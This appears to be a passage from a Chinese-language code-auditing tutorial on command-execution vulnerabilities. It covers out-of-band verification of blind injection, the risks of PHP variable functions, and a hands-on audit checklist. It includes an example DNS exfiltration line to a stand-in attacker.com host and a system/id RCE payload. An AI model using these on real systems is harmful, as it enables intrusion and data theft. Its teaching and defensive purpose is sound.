命令执行没回显怎么验证/利用?用带外通道(OOB):DNS 外带最通用——ping $(id|base64).attacker.com,结果藏进 DNS 查询日志。HTTP 外带(curl/wget 到攻击者服务器)、时间盲注(sleep 延时逐位判断)、写文件到 Web 目录再访问也都是常用手段。DNS 最常用是因为目标通常禁 HTTP 出网但放行 DNS。审计验证用 DNSLog/CEYE 平台收请求即可,不要因为页面无输出就报”不存在漏洞”。
PHP 可变函数是什么,为什么危险?PHP 允许 $f($a) 用变量的值当函数名调用,变量可控就等于任意函数调用。例:$f = $_GET['func']; $f($_GET['arg']);,传 func=system&arg=id 即 RCE。同理 call_user_func/array_map/usort 的回调参数可控也一样。审计别只搜 eval/system,$变量( 和回调类函数也要覆盖。

六、动手自查清单(学完照着做一遍)

找任意一个开源 PHP/Python Web 项目(或自己写个 demo),完成下面的动作,这篇才算真的学会:

  1. 全局搜索 system(、exec(、shell_exec((PHP)或 os.system、subprocess、eval((Python),列出全部命中点。
  2. 对每个命中点画一行数据流:参数从哪来(Source)→ 中间过了什么函数 → 到达 Sink。
  3. 判断三问:Source 可控吗?过滤是白名单吗?实参是数组形态还是拼接字符串?
  4. 对判定为漏洞的点,在本地环境构造 payload 打一次,亲眼看到 /etc/passwd 或 id 的输出。
  5. 写修复代码,再验证 payload 失效——审计的终点是”能修”,不是”能打”。